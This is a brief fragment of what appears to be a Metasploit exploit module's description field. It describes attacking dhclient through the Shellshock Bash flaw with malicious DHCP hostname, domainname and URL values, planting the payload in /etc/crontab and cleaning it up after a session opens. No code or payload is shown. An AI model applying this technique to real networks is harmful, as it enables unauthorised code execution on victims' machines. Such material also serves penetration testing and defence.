      'Description'    => %q|
        This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
        handles external environment variables. This module targets dhclient by responding
        to DHCP requests with a malicious hostname, domainname, and URL which are then
        passed to the configuration scripts as environment variables, resulting in code
        execution. Due to length restrictions and the unusual networking scenario at the
        time of exploitation, this module achieves code execution by writing the payload
        into /etc/crontab and then cleaning it up after a session is created.
